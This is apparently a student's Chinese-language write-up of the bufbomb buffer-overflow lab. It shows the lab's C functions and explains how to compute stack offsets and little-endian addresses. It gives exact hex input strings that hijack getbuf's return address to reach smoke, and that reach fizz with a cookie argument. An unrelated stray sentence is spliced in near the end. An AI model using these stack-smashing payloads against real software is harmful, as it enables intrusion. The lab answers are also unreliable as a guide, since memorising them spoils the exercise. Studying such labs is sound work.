CS61系列实验之二 缓冲区溢出

表1 函数A与函数B

int A() {int i = 2;B(i);printf(“this is func a.\n”);return 0;}int B(int b) {printf(“%d\n”, b);char s[10];scanf(“%s”,s);printf(“this is func b.\n”);return 0;}

四、问题解决

1、第一关

运行./bufbomb,程序会调用函数test,具体细节如表2所示。Test中第4行为val = getbuf(),即调用了getbuf(),该函数如表3所示。这里在介绍一个函数smoke,具体如表4所示。第一关的要求是,运行./bufbomb,程序会调用函数test,但正常情况下并不会调用函数smoke,请利用缓冲区溢出漏洞,输入一个字符串使之调用函数smoke。

表2 函数test

void test(){int val;volatile int local = 0xdeadbeef;entry_check(3); /* Make sure entered this function properly */val = getbuf();/* Check for corrupted stack */if (local != 0xdeadbeef) {printf(“Sabotaged!: the stack has been corrupted\n”);}else if (val == cookie) {printf(“Boom!: getbuf returned 0x%x\n”, val);validate(3);}else {printf(“Dud: getbuf returned 0x%x\n”, val);}}

表3 函数getbuf

int getbuf(){char buf[12];Gets(buf);return 1;}

表4 函数smoke

void smoke(){entry_check(0); /* Make sure entered this function properly */printf(“Smoke!: You called smoke()\n”);validate(0);exit(0);}

我们的解决思路是找到smoke函数的地址,构造字符串恰好使smoke的地址覆盖掉原来的“Return Address”,栈的示意图如图2所示。

这样,我们构造的字符串应当是24个字节(buf到ebp长度)+ 4字节(ebp)+ 4字节(smoke地址)= 32个字节。这里说明一点,由于我们知道的smoke地址是16进制数,而不是字符串,所以我们其实是在构造一个32个16进制数的组合,然后由sendstring自动帮我们转成字符串添给程序(sendstring就是用来做这个的)。

开始构造,共32个数字,前28个是什么都无所谓,最后4个应当是0x08048f95,,由于Intel采用小端模式,所以应当是95 8f 04 08。我构造的完整答案是

30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 30 31 32 33 34 35 36 37(buf, 24B)38 39 3a 3b (ebp,4B)95 8f 04 08 (RET,4B)

完成!

2、第二关

第二关与第一关类似,还是函数test调用getbuf这个情景,这次需要执行函数fizz,函数fizz如表5所示。相比之下,难点就是多出一个参数val,参数val应当与cookie相同。

表5 函数fizz

void fizz(int val){entry_check(1); /* Make sure entered this function properly */if (val == cookie) {printf(“Fizz!: You called fizz(0x%x)\n”, val);validate(1);} elseprintf(“Misfire: You called fizz(0x%x)\n”, val);exit(0);}

首先我们利用程序makecookie获得我的cookie,为0x1a245b76。然后获得fizz的地址,为0x08048f3d。

现在我们构造这次攻击的栈区空间,如图3所示。重点说面最上面三行,RET1是函数getbuf后的返回地址,内容应当为fizz的地址。RET2是函数fizz执行后的返回地址,但其实程序在fizz内就结束了,不会真的返回,所以其内容任意。Argument是调用函数fizz的参数,即为val,这里应当等于我的cookie,即0x1a245b76。

图3 调用fizz栈区空间

这样,我们构造的字符串应当是24个字节(buf到ebp长度)+ 4字节(ebp)+ 4字节(RET1,fizz地址)+ 4字节(RET2)+ 4字节(参数val,我的cookie) = 40个字节。其中前28个字节内容任意,然后是fizz地址0x08048f3d,然后4字节内容任意,最后4字节是我的cookie 0x1a245b76,整的答案是

30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 30 31 32 33 34 35 36 37(buf,24B)38 39 3a 3b (ebp,4B)3d 8f 04 08 (RET1,4B)30 31 32 33 (RET2,4B)76 5b 24 1a (Argu,4B)

运行通过!

3、第三关

第三关的情景还是说在函数test内调用getbug获取字符串,但是这次的需求较难,要求调用函数bang,并使得全局变量global_value等于cookie。主要难点在于如何修改全局变量。函数bang如表6所示。

表6 函数bang

int global_value = 0;void bang(int val){entry_check(2); /* Make sure entered this function properly */if (global_value == cookie) {printf(“Bang!: You set global_value to 0x%x\n”, global_value);validate(2);} elseprintf(“Misfire: global_value = 0x%x\n”, global_value);exit(0);}

根据上述思路,我们构造的栈区空间如图5所示。这样在getbuf执行完毕后,程序会跳转到buf的首地址,然后执行修改程序,修改global_value,在跳转到bang的地址,执行bang函数。

图5 调用bang的栈区空间

你说,你可以把它取下来吗?当我要取的时候,你淘气的躲开了,

CS61系列实验之二 缓冲区溢出

相关文章:

你感兴趣的文章:

标签云: